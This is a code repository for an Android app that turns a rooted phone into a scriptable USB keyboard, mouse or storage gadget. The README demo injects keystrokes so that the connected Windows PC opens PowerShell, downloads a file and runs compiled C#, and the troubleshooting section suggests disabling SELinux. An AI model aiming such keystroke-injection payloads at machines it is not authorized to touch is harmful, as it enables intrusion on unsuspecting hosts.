34 | editText.setInputType(InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_FLAG_MULTI_LINE);
35 | editText.setText(def);
36 | editText.setMaxLines(4);
37 |
38 | TextInputLayout textInputLayout = new TextInputLayout(context);
39 | textInputLayout.setPadding(
40 | context.getResources().getDimensionPixelOffset(R.dimen.text_margin), 0,
41 | context.getResources().getDimensionPixelOffset(R.dimen.text_margin), 0);
42 | textInputLayout.setHint(hint);
43 | textInputLayout.addView(editText);
44 |
45 | builder_.setView(textInputLayout);
46 |
47 | builder_.setPositiveButton("OK", (dialog, which) -> {
48 | result_.set(editText.getText().toString());
49 | latch_.countDown();
50 | });
51 | builder_.setOnCancelListener(dialog -> latch_.countDown());
52 | builder_.setCancelable(false);
53 | }
54 |
55 | public String show() {
56 | Handler mainThreadHandler = HandlerCompat.createAsync(Looper.getMainLooper());
57 | try {
58 | mainThreadHandler.post(builder_::show);
59 | latch_.await();
60 | } catch (InterruptedException e) {
61 | Thread.currentThread().interrupt();
62 | }
63 | return result_.get();
64 | }
65 |
66 | }
67 |
--------------------------------------------------------------------------------
/app/src/main/java/org/netdex/androidusbscript/SelectAssetActivity.java:
--------------------------------------------------------------------------------
1 | package org.netdex.androidusbscript;
2 |
3 | import android.app.Activity;
4 | import android.content.Intent;
5 | import android.os.Bundle;
6 |
7 | import androidx.appcompat.app.AppCompatActivity;
8 | import androidx.recyclerview.widget.DividerItemDecoration;
9 | import androidx.recyclerview.widget.LinearLayoutManager;
10 | import androidx.recyclerview.widget.RecyclerView;
11 |
12 | import java.io.IOException;
13 | import java.nio.file.Paths;
14 | import java.util.ArrayList;
15 |
16 | import timber.log.Timber;
17 |
18 | public class SelectAssetActivity extends AppCompatActivity {
19 |
20 | public static final String SCRIPT_PATH = "scripts";
21 |
22 | @Override
23 | protected void onCreate(Bundle savedInstanceState) {
24 | super.onCreate(savedInstanceState);
25 | setContentView(R.layout.activity_select_asset);
26 |
27 | getSupportActionBar().setTitle("Select Lua Asset");
28 | getSupportActionBar().setDisplayHomeAsUpEnabled(true);
29 | getSupportActionBar().setDisplayShowHomeEnabled(true);
30 |
31 | RecyclerView recyclerView = findViewById(R.id.recycler_view);
32 | recyclerView.setHasFixedSize(true);
33 | LinearLayoutManager layoutManager = new LinearLayoutManager(this);
34 | recyclerView.setLayoutManager(layoutManager);
35 |
36 | DividerItemDecoration dividerItemDecoration =
37 | new DividerItemDecoration(recyclerView.getContext(), layoutManager.getOrientation());
38 | recyclerView.addItemDecoration(dividerItemDecoration);
39 |
40 | ArrayList assets = new ArrayList<>();
41 | String[] scriptFilePaths;
42 | try {
43 | scriptFilePaths = getAssets().list(SCRIPT_PATH);
44 | for (String filePath : scriptFilePaths) {
45 | if (filePath.endsWith(".lua")) {
46 | assets.add(new LuaAssetAdapter.LuaAsset(filePath, Paths.get(SCRIPT_PATH, filePath).toString()));
47 | }
48 | }
49 | } catch (IOException e) {
50 | Timber.e(e);
51 | }
52 |
53 | LuaAssetAdapter adapter = new LuaAssetAdapter(assets) {
54 | @Override
55 | public void onLuaAssetSelected(LuaAsset asset) {
56 | Intent returnIntent = new Intent();
57 | returnIntent.putExtra("name", asset.getName());
58 | returnIntent.putExtra("path", asset.getPath());
59 | setResult(Activity.RESULT_OK, returnIntent);
60 | finish();
61 | }
62 | };
63 | recyclerView.setAdapter(adapter);
64 | }
65 | }
--------------------------------------------------------------------------------
/app/src/main/java/org/netdex/androidusbscript/configfs/function/UsbGadgetFunction.kt:
--------------------------------------------------------------------------------
1 | package org.netdex.androidusbscript.configfs.function
2 |
3 | import org.netdex.androidusbscript.configfs.UsbGadget
4 | import org.netdex.androidusbscript.util.FileSystem
5 | import timber.log.Timber
6 | import java.io.IOException
7 | import java.nio.file.Path
8 | import java.nio.file.Paths
9 |
10 | open class FunctionParameters
11 |
12 | /**
13 | * https://www.kernel.org/doc/Documentation/usb/gadget_configfs.txt
14 | * https://www.kernel.org/doc/Documentation/ABI/testing/
15 | */
16 | abstract class UsbGadgetFunction(
17 | private val usbGadget: UsbGadget,
18 | protected val id: Int,
19 | protected val params: FunctionParameters
20 | ) {
21 | abstract val name: String
22 | protected val fs: FileSystem get() = usbGadget.fs
23 | protected val functionPath: Path
24 | get() = usbGadget.getGadgetPath().resolve("functions").resolve(name)
25 |
26 | @Throws(IOException::class)
27 | fun add() {
28 | this.create()
29 | this.configure()
30 | }
31 |
32 | @Throws(IOException::class)
33 | fun remove() {
34 | this.unconfigure()
35 | this.destroy()
36 | }
37 |
38 | @Throws(IOException::class)
39 | protected open fun create() {
40 | check(!fs.exists(functionPath)) {
41 | "Function path '$functionPath' already exists"
42 | }
43 | Timber.d("Creating USB function '%s'", name)
44 | fs.mkdir(functionPath)
45 | }
46 |
47 | @Throws(IOException::class)
48 | protected fun configure() {
49 | check(fs.exists(functionPath)) { "Function path '$functionPath' does not exist" }
50 | Timber.d("Configuring USB function '%s'", name)
51 | val functionLinkPath = usbGadget.getConfigPath().resolve(name)
52 | fs.ln(functionLinkPath, functionPath)
53 | }
54 |
55 | @Throws(IOException::class)
56 | protected fun unconfigure() {
57 | val functionLinkPath = usbGadget.getConfigPath().resolve(name)
58 | check(fs.exists(functionLinkPath)) { "Function symlink '$functionLinkPath' does not exist" }
59 | Timber.d("Unconfiguring USB function '%s'", name)
60 | fs.delete(functionLinkPath)
61 | }
62 |
63 | @Throws(IOException::class)
64 | protected fun destroy() {
65 | check(fs.exists(functionPath)) { "Function path '$functionPath' does not exist" }
66 | Timber.d("Destroying USB function '%s'", name)
67 | fs.delete(functionPath)
68 | }
69 |
70 | @Throws(IOException::class)
71 | protected fun getAttribute(attrib: String?): String {
72 | check(fs.exists(functionPath)) { "Function path '$functionPath' does not exist" }
73 | return fs.readLine(functionPath.resolve(attrib))
74 | }
75 | }
76 |
--------------------------------------------------------------------------------
/app/src/main/java/org/netdex/androidusbscript/function/DeviceStream.kt:
--------------------------------------------------------------------------------
1 | package org.netdex.androidusbscript.function
2 |
3 | import com.topjohnwu.superuser.io.SuFile
4 | import org.netdex.androidusbscript.util.FileSystem
5 | import timber.log.Timber
6 | import java.io.Closeable
7 | import java.io.IOException
8 | import java.io.InputStream
9 | import java.io.OutputStream
10 | import java.nio.file.Path
11 |
12 | abstract class DeviceStream(private val fs: FileSystem, private val devicePath: Path) :
13 | Closeable {
14 |
15 | private val lazyOutput = lazy {
16 | if (!waitForDevice())
17 | throw RuntimeException("Device '$devicePath' does not exist")
18 | Timber.d("Opening output stream for device '%s'", devicePath)
19 | fs.outputStream(devicePath)
20 | }
21 |
22 | private val lazyInput = lazy {
23 | if (!waitForDevice())
24 | throw RuntimeException("Device '$devicePath' does not exist")
25 | // MITIGATION: Using RootService via IPC causes my phone to kernel panic when reading
26 | // /dev/hidgX. Though it's not recommended, using SuFile here seems to work well enough.
27 | Timber.d("Opening input stream for device '%s'", devicePath)
28 | SuFile.open(devicePath.toString()).newInputStream()
29 |
30 | }
31 |
32 | @get:Throws(IOException::class, InterruptedException::class)
33 | protected val outputStream: OutputStream by lazyOutput
34 |
35 | @get:Throws(IOException::class, InterruptedException::class)
36 | protected val inputStream: InputStream by lazyInput
37 |
38 | @Throws(IOException::class, InterruptedException::class)
39 | protected fun write(b: ByteArray?) {
40 | outputStream.write(b)
41 | }
42 |
43 | @Throws(IOException::class, InterruptedException::class)
44 | protected fun read(b: ByteArray?): Int {
45 | return inputStream.read(b)
46 | }
47 |
48 | @Throws(IOException::class, InterruptedException::class)
49 | protected fun read(): Int {
50 | // NOTE: Under no circumstance do we allow the script to read without data being available,
51 | // since there is no way to cancel a blocking read.
52 | return inputStream.read()
53 | }
54 |
55 | @Throws(IOException::class, InterruptedException::class)
56 | protected fun available(): Int {
57 | return inputStream.available()
58 | }
59 |
60 | @Throws(InterruptedException::class)
61 | private fun waitForDevice(): Boolean {
62 | for (i in 0..4) {
63 | if (fs.exists(devicePath)) {
64 | return true
65 | }
66 | Thread.sleep(500)
67 | }
68 | return false
69 | }
70 |
71 | @Throws(IOException::class)
72 | override fun close() {
73 | Timber.d("Closing device stream '%s'", devicePath)
74 | if (lazyOutput.isInitialized())
75 | outputStream.close()
76 | if (lazyInput.isInitialized())
77 | inputStream.close()
78 | }
79 | }
80 |
--------------------------------------------------------------------------------
/app/src/main/java/org/netdex/androidusbscript/util/FileSystem.kt:
--------------------------------------------------------------------------------
1 | package org.netdex.androidusbscript.util
2 |
3 | import com.topjohnwu.superuser.ShellUtils
4 | import com.topjohnwu.superuser.nio.FileSystemManager
5 | import timber.log.Timber
6 | import java.io.BufferedReader
7 | import java.io.IOException
8 | import java.io.InputStream
9 | import java.io.InputStreamReader
10 | import java.io.OutputStream
11 | import java.nio.charset.StandardCharsets
12 | import java.nio.file.Path
13 |
14 | class FileSystem(private val remoteFs: FileSystemManager) {
15 | @Throws(IOException::class)
16 | fun inputStream(path: Path): InputStream {
17 | val file = remoteFs.getFile(path.toString())
18 | return file.newInputStream()
19 | }
20 |
21 | @Throws(IOException::class)
22 | fun outputStream(path: Path): OutputStream {
23 | val file = remoteFs.getFile(path.toString())
24 | return file.newOutputStream()
25 | }
26 |
27 | @Throws(IOException::class)
28 | fun write(v: ByteArray, path: Path) {
29 | Timber.v("echo -ne '%s' > %s", Util.escapeHex(v), path)
30 | val file = remoteFs.getFile(path.toString())
31 | val os = file.newOutputStream(false)
32 | os.write(v)
33 | os.close()
34 | }
35 |
36 | @Throws(IOException::class)
37 | fun write(v: T, path: Path) {
38 | Timber.v("echo '%s' > %s", v, path)
39 | val file = remoteFs.getFile(path.toString())
40 | val stream = file.newOutputStream(false)
41 | val output = String.format("%s\n", v)
42 | stream.write(output.toByteArray(StandardCharsets.UTF_8))
43 | stream.close()
44 | }
45 |
46 | @Throws(IOException::class)
47 | fun readLine(path: Path): String {
48 | val file = remoteFs.getFile(path.toString())
49 | val stream = file.newInputStream()
50 | BufferedReader(InputStreamReader(stream)).use { br -> return br.readLine() }
51 | }
52 |
53 | fun exists(path: Path): Boolean {
54 | return remoteFs.getFile(path.toString()).exists()
55 | }
56 |
57 | @Throws(IOException::class)
58 | fun mkdir(path: Path) {
59 | Timber.v("mkdir %s", path)
60 | if (!remoteFs.getFile(path.toString()).mkdir())
61 | throw IOException(String.format("Failed to create directory '%s'", path))
62 | }
63 |
64 | @Throws(IOException::class)
65 | fun ln(path: Path, target: Path) {
66 | Timber.v("ln -s %s %s", target, path)
67 | if (!remoteFs.getFile(path.toString()).createNewSymlink(target.toString()))
68 | throw IOException(String.format("Failed to create symlink '%s' -> '%s'", path, target))
69 | }
70 |
71 | @Throws(IOException::class)
72 | fun delete(path: Path) {
73 | Timber.v("rm %s", path)
74 | if (!remoteFs.getFile(path.toString()).delete())
75 | throw IOException(String.format("Failed to delete '%s'", path))
76 | }
77 |
78 | fun getSystemProp(prop: String): String {
79 | return ShellUtils.fastCmd("getprop '$prop'")
80 | }
81 |
82 | fun get(): FileSystemManager {
83 | return remoteFs
84 | }
85 | }
86 |
--------------------------------------------------------------------------------
/gradlew.bat:
--------------------------------------------------------------------------------
1 | @rem
2 | @rem Copyright 2015 the original author or authors.
3 | @rem
4 | @rem Licensed under the Apache License, Version 2.0 (the "License");
5 | @rem you may not use this file except in compliance with the License.
6 | @rem You may obtain a copy of the License at
7 | @rem
8 | @rem https://www.apache.org/licenses/LICENSE-2.0
9 | @rem
10 | @rem Unless required by applicable law or agreed to in writing, software
11 | @rem distributed under the License is distributed on an "AS IS" BASIS,
12 | @rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | @rem See the License for the specific language governing permissions and
14 | @rem limitations under the License.
15 | @rem
16 | @rem SPDX-License-Identifier: Apache-2.0
17 | @rem
18 |
19 | @if "%DEBUG%"=="" @echo off
20 | @rem ##########################################################################
21 | @rem
22 | @rem Gradle startup script for Windows
23 | @rem
24 | @rem ##########################################################################
25 |
26 | @rem Set local scope for the variables with windows NT shell
27 | if "%OS%"=="Windows_NT" setlocal
28 |
29 | set DIRNAME=%~dp0
30 | if "%DIRNAME%"=="" set DIRNAME=.
31 | @rem This is normally unused
32 | set APP_BASE_NAME=%~n0
33 | set APP_HOME=%DIRNAME%
34 |
35 | @rem Resolve any "." and ".." in APP_HOME to make it shorter.
36 | for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
37 |
38 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
39 | set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
40 |
41 | @rem Find java.exe
42 | if defined JAVA_HOME goto findJavaFromJavaHome
43 |
44 | set JAVA_EXE=java.exe
45 | %JAVA_EXE% -version >NUL 2>&1
46 | if %ERRORLEVEL% equ 0 goto execute
47 |
48 | echo. 1>&2
49 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2
50 | echo. 1>&2
51 | echo Please set the JAVA_HOME variable in your environment to match the 1>&2
52 | echo location of your Java installation. 1>&2
53 |
54 | goto fail
55 |
56 | :findJavaFromJavaHome
57 | set JAVA_HOME=%JAVA_HOME:"=%
58 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe
59 |
60 | if exist "%JAVA_EXE%" goto execute
61 |
62 | echo. 1>&2
63 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2
64 | echo. 1>&2
65 | echo Please set the JAVA_HOME variable in your environment to match the 1>&2
66 | echo location of your Java installation. 1>&2
67 |
68 | goto fail
69 |
70 | :execute
71 | @rem Setup the command line
72 |
73 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
74 |
75 |
76 | @rem Execute Gradle
77 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
78 |
79 | :end
80 | @rem End local scope for the variables with windows NT shell
81 | if %ERRORLEVEL% equ 0 goto mainEnd
82 |
83 | :fail
84 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
85 | rem the _cmd.exe /c_ return code!
86 | set EXIT_CODE=%ERRORLEVEL%
87 | if %EXIT_CODE% equ 0 set EXIT_CODE=1
88 | if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE%
89 | exit /b %EXIT_CODE%
90 |
91 | :mainEnd
92 | if "%OS%"=="Windows_NT" endlocal
93 |
94 | :omega
95 |
--------------------------------------------------------------------------------
/app/src/main/java/org/netdex/androidusbscript/task/LuaUsbTask.java:
--------------------------------------------------------------------------------
1 | package org.netdex.androidusbscript.task;
2 |
3 | import org.luaj.vm2.Globals;
4 | import org.luaj.vm2.LuaError;
5 | import org.luaj.vm2.LuaValue;
6 | import org.luaj.vm2.lib.jse.JsePlatform;
7 | import org.netdex.androidusbscript.configfs.UsbGadget;
8 | import org.netdex.androidusbscript.lua.LuaUsbLibrary;
9 | import org.netdex.androidusbscript.util.FileSystem;
10 |
11 | import java.io.Closeable;
12 | import java.io.IOException;
13 | import java.io.StringReader;
14 | import java.nio.file.Paths;
15 |
16 | import timber.log.Timber;
17 |
18 |
19 | /**
20 | * Created by netdex on 1/16/2017.
21 | */
22 |
23 | public class LuaUsbTask implements Closeable {
24 |
25 | private final String name_;
26 | private final String src_;
27 | private final LuaIOBridge ioBridge_;
28 |
29 | private LuaUsbLibrary luaUsbLibrary_;
30 | private Thread taskThread_;
31 |
32 | public LuaUsbTask(String name, String src, LuaIOBridge ioBridge) {
33 | this.name_ = name;
34 | this.src_ = src;
35 | this.ioBridge_ = ioBridge;
36 | }
37 |
38 | public void run(FileSystem fs) {
39 | taskThread_ = Thread.currentThread();
40 |
41 | try {
42 |
43 | ioBridge_.onLogMessage("-- Started " + name_ + "");
44 | try (UsbGadget usbGadget = new UsbGadget(fs, "hidf", Paths.get("/config"))) {
45 | try {
46 | luaUsbLibrary_ = new LuaUsbLibrary(fs, usbGadget, ioBridge_);
47 | Globals globals = JsePlatform.standardGlobals();
48 | globals.load(new StringReader("package.path = '/assets/lib/?.lua;'"), "initAndroidPath").call();
49 | luaUsbLibrary_.bind(globals);
50 | LuaValue luaChunk_ = globals.load(src_);
51 | luaChunk_.call();
52 | } catch (LuaError e) {
53 | if (!(e.getCause() instanceof InterruptedException)) {
54 | Timber.w(e);
55 | ioBridge_.onLogMessage(getExceptionMessage(e));
56 | }
57 | } finally {
58 | if (luaUsbLibrary_ != null) {
59 | luaUsbLibrary_.close();
60 | luaUsbLibrary_ = null;
61 | }
62 | }
63 | } finally {
64 | ioBridge_.onLogMessage("-- Ended " + name_ + "");
65 | }
66 | } catch (IOException e) {
67 | Timber.e(e);
68 | ioBridge_.onLogMessage(getExceptionMessage(e));
69 | }
70 | }
71 |
72 | public String getName() {
73 | return name_;
74 | }
75 |
76 | private String getExceptionMessage(Exception e) {
77 | if (e instanceof LuaError) {
78 | return "" + e.getClass().getName() + ": " + e.getMessage().replace("\n", " ");
79 | } else {
80 | return "Unhandled exception: " + e.toString().replace("\n", " ");
81 | }
82 | }
83 |
84 | @Override
85 | public void close() throws IOException {
86 | if (luaUsbLibrary_ != null) {
87 | luaUsbLibrary_.close();
88 | luaUsbLibrary_ = null;
89 | }
90 | taskThread_.interrupt();
91 | }
92 | }
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Android USB Script
2 | [](https://github.com/Netdex/android-usb-script/actions/workflows/android.yml)
3 | [](https://apt.izzysoft.de/fdroid/index/apk/org.netdex.androidusbscript/)
4 |
5 | **Use at your own risk. For educational purposes only.**
6 |
7 | An Android app that provides a simple Lua interface for creating and interfacing
8 | with arbitrary composite USB devices, allowing your phone to act as a USB device.
9 |
10 | **Root access is required.**
11 |
12 | **Lua scripts are run as root**. Do not run untrusted scripts!
13 |
14 | Download debug build artifacts from [the latest workflow run](https://github.com/Netdex/android-usb-script/actions).
15 |
16 | ## Demonstration
17 | When interpreted by this app, the following script:
18 | 1. Configures your phone to become a USB keyboard
19 | 2. Sends a series of key presses to the computer your phone is plugged in to, changing
20 | its wallpaper
21 |
22 | ```lua
23 | ---
24 | --- Change Windows 10 desktop wallpaper
25 | ---
26 |
27 | require('common')
28 |
29 | kb = luausb.create({ type = "keyboard" })
30 |
31 | local file = prompt{
32 | message="Enter the URL of the wallpaper to download.",
33 | hint="Image URL",
34 | default="https://i.imgur.com/46wWHZ3.png"
35 | }
36 |
37 | while true do
38 | print("idle")
39 |
40 | -- wait for USB device to be plugged in
41 | wait_for_state('configured')
42 | -- wait for host to detect this USB device
43 | wait_for_detect(kb)
44 | print("running")
45 |
46 | kb:chord(MOD_LSUPER, KEY_R)
47 | wait(2000)
48 | kb:string("powershell\n")
49 | wait(2000)
50 | kb:string("[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;" ..
51 | "(new-object System.Net.WebClient).DownloadFile('" .. file .. "',\"$Env:Temp\\b.jpg\");\n" ..
52 | "Add-Type @\"\n" ..
53 | "using System;using System.Runtime.InteropServices;using Microsoft.Win32;namespa" ..
54 | "ce W{public class S{ [DllImport(\"user32.dll\")]static extern int SystemParamet" ..
55 | "ersInfo(int a,int b,string c,int d);public static void SW(string a){SystemParam" ..
56 | "etersInfo(20,0,a,3);RegistryKey c=Registry.CurrentUser.OpenSubKey(\"Control Pan" ..
57 | "el\\\\Desktop\",true);c.SetValue(@\"WallpaperStyle\", \"2\");c.SetValue(@\"Tile" ..
58 | "Wallpaper\", \"0\");c.Close();}}}\n" ..
59 | "\"@\n" ..
60 | "[W.S]::SW(\"$Env:Temp\\b.jpg\")\n" ..
61 | "exit\n")
62 |
63 | print("done")
64 | -- wait for USB device to be unplugged
65 | wait_for_state("not attached")
66 | end
67 | ```
68 |
69 | The following USB gadgets are currently supported:
70 | - Keyboard (keyboard)
71 | - Mouse (mouse)
72 | - Mass Storage (storage)
73 |
74 | Built-in scripts can be run using the "Select Asset" menu item. You can run an external script using
75 | the "Load Script" menu item. New demo applications can be added to `assets/scripts`. The API is
76 | pretty much self-documenting, just look at the existing demos to get a feel for how the API works.
77 | Several other sample scripts
78 | are [included in the repository](https://github.com/Netdex/android-usb-script/tree/master/app/src/main/assets/scripts).
79 |
80 | ## Requirements
81 | **This app will not work on every Android device.** If your Android OS has Linux Kernel
82 | version >= 3.18 and is compiled with configfs and f_hid, then the app can try to create usb
83 | gadgets.
84 |
85 | ## Troubleshooting
86 | ### "Device Malfunctioned" on Windows 10
87 | There may be an incompatibility between the supported USB speed between the USB function and USB
88 | port. For example, if you try to use the HID function on a port that only supports USB SuperSpeed,
89 | you will get this error. This is common when using certain USB 3.0 hubs. If you plugged into a USB
90 | hub, try using a port connected to the USB Root Hub. If you plugged into a USB 3.0 port, try using a
91 | USB 2.0 port.
92 |
93 | ### "java.io.IOException: Could not write to /dev/hidgX"
94 | Try setting SELinux to permissive mode by running `setenforce 0` as root.
95 |
96 |
97 | ## Third-party
98 | - [libsu](https://github.com/topjohnwu/libsu)
99 | - [LuaJ](http://www.luaj.org/luaj/3.0/README.html)
100 |
--------------------------------------------------------------------------------
/app/src/main/java/org/netdex/androidusbscript/configfs/UsbGadget.kt:
--------------------------------------------------------------------------------
1 | package org.netdex.androidusbscript.configfs
2 |
3 | import org.netdex.androidusbscript.configfs.function.UsbGadgetFunction
4 | import org.netdex.androidusbscript.util.FileSystem
5 | import timber.log.Timber
6 | import java.io.IOException
7 | import java.nio.file.Path
8 | import java.nio.file.Paths
9 |
10 | class UsbGadgetParameters(
11 | val manufacturer: String,
12 | val idProduct: String,
13 | val idVendor: String,
14 | val product: String,
15 | val configName: String
16 | )
17 |
18 | class UsbGadget(
19 | val fs: FileSystem,
20 | private val gadgetName: String,
21 | private val configFsPath: Path
22 | ) : AutoCloseable {
23 |
24 | private var functions: Array? = null
25 |
26 | @Throws(IOException::class)
27 | fun create(params: UsbGadgetParameters, functions: Array) {
28 | this.functions = functions
29 |
30 | Timber.d("Creating USB gadget '%s'", this.gadgetName)
31 |
32 | val gadgetPath = getGadgetPath(gadgetName)
33 | if (!isSupported()) throw UnsupportedOperationException("Device does not support ConfigFS")
34 | check(!isCreated()) { "USB gadget already exists" }
35 |
36 | fs.mkdir(gadgetPath)
37 | fs.write(params.idProduct, gadgetPath.resolve("idProduct"))
38 | fs.write(params.idVendor, gadgetPath.resolve("idVendor"))
39 | fs.write("239", gadgetPath.resolve("bDeviceClass"))
40 | fs.write("0x02", gadgetPath.resolve("bDeviceSubClass"))
41 | fs.write("0x01", gadgetPath.resolve("bDeviceProtocol"))
42 |
43 | fs.mkdir(gadgetPath.resolve("strings/0x409"))
44 | fs.write(serial(functions), gadgetPath.resolve("strings/0x409/serialnumber"))
45 | fs.write(params.manufacturer, gadgetPath.resolve("strings/0x409/manufacturer"))
46 | fs.write(params.product, gadgetPath.resolve("strings/0x409/product"))
47 |
48 | val configPath = getConfigPath()
49 | fs.mkdir(configPath)
50 | fs.mkdir(configPath.resolve("strings/0x409"))
51 | fs.write(params.configName, configPath.resolve("strings/0x409/configuration"))
52 |
53 | for (function in functions) {
54 | function.add()
55 | }
56 | }
57 |
58 | @Throws(IOException::class)
59 | fun bind() {
60 | Timber.d("Binding USB gadget '%s'", this.gadgetName)
61 | check(isCreated()) { "USB gadget does not exist" }
62 | check(!isBound()) { "USB gadget is already bound to UDC" }
63 |
64 | val udc = getSystemUDC(fs)
65 | check(udc.isNotEmpty()) { "Could not determine system UDC" }
66 |
67 | fs.write("", getUDCPath(SYSTEM_GADGET))
68 | fs.write(udc, getUDCPath(gadgetName))
69 | }
70 |
71 | @Throws(IOException::class)
72 | fun unbind() {
73 | Timber.d("Unbinding USB gadget '%s'", this.gadgetName)
74 | check(isCreated()) { "USB gadget does not exist" }
75 | check(isBound()) { "USB gadget is not bound to UDC" }
76 |
77 | fs.write("", getUDCPath(gadgetName))
78 | fs.write(getSystemUDC(fs), getUDCPath(SYSTEM_GADGET))
79 | }
80 |
81 | @Throws(IOException::class)
82 | fun destroy() {
83 | Timber.d("Destroying USB gadget '%s'", gadgetName)
84 | val gadgetPath = getGadgetPath()
85 | check(isCreated()) { "USB gadget does not exist" }
86 |
87 | for (function in this.functions!!) {
88 | function.remove()
89 | }
90 |
91 | val configPath = getConfigPath()
92 | fs.delete(configPath.resolve("strings/0x409"))
93 | fs.delete(configPath)
94 | fs.delete(gadgetPath.resolve("strings/0x409"))
95 | fs.delete(gadgetPath)
96 | }
97 |
98 | fun isSupported(): Boolean {
99 | return (fs.exists(configFsPath) && fs.getSystemProp("sys.usb.configfs").toInt() >= 1)
100 | }
101 |
102 | fun getGadgetPath(gadgetName: String? = null): Path {
103 | return configFsPath.resolve("usb_gadget").resolve(gadgetName ?: this.gadgetName)
104 | }
105 |
106 | fun getConfigPath(gadgetName: String? = null, configName: String? = null): Path {
107 | return getGadgetPath(gadgetName).resolve("configs").resolve(configName ?: CONFIG_DIR)
108 | }
109 |
110 | fun getUDCPath(gadgetName: String? = null): Path {
111 | return getGadgetPath(gadgetName).resolve("UDC")
112 | }
113 |
114 | @Throws(IOException::class)
115 | fun getActiveUDC(gadgetName: String?): String {
116 | return fs.readLine(getUDCPath(gadgetName))
117 | }
118 |
119 | fun isCreated(): Boolean {
120 | return fs.exists(getGadgetPath(gadgetName))
121 | }
122 |
123 | @Throws(IOException::class)
124 | fun isBound(): Boolean {
125 | return getActiveUDC(gadgetName).isNotEmpty()
126 | }
127 |
128 | fun serial(functions: Array): String {
129 | val functionNames = ArrayList()
130 | for (function in functions) {
131 | functionNames.add(function.name)
132 | }
133 | return String.format("%x", functionNames.hashCode())
134 | }
135 |
136 | override fun close() {
137 | if (isCreated()) {
138 | if (isBound())
139 | unbind()
140 | destroy()
141 | }
142 | }
143 |
144 | companion object {
145 | // https://android.googlesource.com/platform/system/core/+/master/rootdir/init.usb.configfs.rc
146 | private const val SYSTEM_GADGET = "g1"
147 | private const val CONFIG_DIR = "c.1"
148 |
149 | @JvmStatic
150 | fun getSystemUDC(fs: FileSystem): String {
151 | return fs.getSystemProp("sys.usb.controller")
152 | }
153 |
154 | @Throws(IOException::class)
155 | @JvmStatic
156 | fun getUDCState(fs: FileSystem, udc: String?): String {
157 | return fs.readLine(Paths.get("/sys/class/udc", udc, "state"))
158 | }
159 | }
160 | }
--------------------------------------------------------------------------------
/app/src/main/java/org/netdex/androidusbscript/function/HidInput.java:
--------------------------------------------------------------------------------
1 | package org.netdex.androidusbscript.function;
2 |
3 | /**
4 | * Created by netdex on 1/15/2017.
5 | */
6 |
7 | public class HidInput {
8 |
9 | public static class Mouse {
10 | public enum Button {
11 | BTN_NONE(0x0),
12 | BTN_LEFT(0x1),
13 | BTN_RIGHT(0x2),
14 | BTN_MIDDLE(0x4);
15 | public final byte code;
16 |
17 | Button(int code) {
18 | this.code = (byte) code;
19 | }
20 | }
21 | }
22 |
23 | public static class Keyboard {
24 | public enum Mod {
25 | MOD_NONE(0x0),
26 | MOD_LCTRL(0x1),
27 | MOD_LSHIFT(0x2),
28 | MOD_LALT(0x4),
29 | MOD_LSUPER(0x8), // Windows key
30 | MOD_RCTRL(0x10),
31 | MOD_RSHIFT(0x20),
32 | MOD_RALT(0x40),
33 | MOD_RSUPER(0x80); // Windows key
34 |
35 | public final byte code;
36 |
37 | Mod(int code) {
38 | this.code = (byte) code;
39 | }
40 | }
41 |
42 | public enum Key {
43 | KEY_NONE(0x00),
44 | KEY_A(0X04),
45 | KEY_B(0X05),
46 | KEY_C(0X06),
47 | KEY_D(0X07),
48 | KEY_E(0X08),
49 | KEY_F(0X09),
50 | KEY_G(0X0A),
51 | KEY_H(0X0B),
52 | KEY_I(0X0C),
53 | KEY_J(0X0D),
54 | KEY_K(0X0E),
55 | KEY_L(0X0F),
56 | KEY_M(0X10),
57 | KEY_N(0X11),
58 | KEY_O(0X12),
59 | KEY_P(0X13),
60 | KEY_Q(0X14),
61 | KEY_R(0X15),
62 | KEY_S(0X16),
63 | KEY_T(0X17),
64 | KEY_U(0X18),
65 | KEY_V(0X19),
66 | KEY_W(0X1A),
67 | KEY_X(0X1B),
68 | KEY_Y(0X1C),
69 | KEY_Z(0X1D),
70 | KEY_D1(0X1E),
71 | KEY_D2(0X1F),
72 | KEY_D3(0X20),
73 | KEY_D4(0X21),
74 | KEY_D5(0X22),
75 | KEY_D6(0X23),
76 | KEY_D7(0X24),
77 | KEY_D8(0X25),
78 | KEY_D9(0X26),
79 | KEY_D0(0X27),
80 | KEY_ENTER(0X28),
81 | KEY_ESC(0X29),
82 | KEY_ESCAPE(0X29),
83 | KEY_BCKSPC(0X2A),
84 | KEY_BACKSPACE(0X2A),
85 | KEY_TAB(0X2B),
86 | KEY_SPACE(0X2C),
87 | KEY_MINUS(0X2D),
88 | KEY_DASH(0X2D),
89 | KEY_EQUALS(0X2E),
90 | KEY_EQUAL(0X2E),
91 | KEY_LBRACKET(0X2F),
92 | KEY_RBRACKET(0X30),
93 | KEY_BACKSLASH(0X31),
94 | KEY_HASH(0X32),
95 | KEY_NUMBER(0X32),
96 | KEY_SEMICOLON(0X33),
97 | KEY_QUOTE(0X34),
98 | KEY_BACKQUOTE(0X35),
99 | KEY_TILDE(0X35),
100 | KEY_COMMA(0X36),
101 | KEY_PERIOD(0X37),
102 | KEY_STOP(0X37),
103 | KEY_SLASH(0X38),
104 | KEY_CAPS_LOCK(0X39),
105 | KEY_CAPSLOCK(0X39),
106 | KEY_F1(0X3A),
107 | KEY_F2(0X3B),
108 | KEY_F3(0X3C),
109 | KEY_F4(0X3D),
110 | KEY_F5(0X3E),
111 | KEY_F6(0X3F),
112 | KEY_F7(0X40),
113 | KEY_F8(0X41),
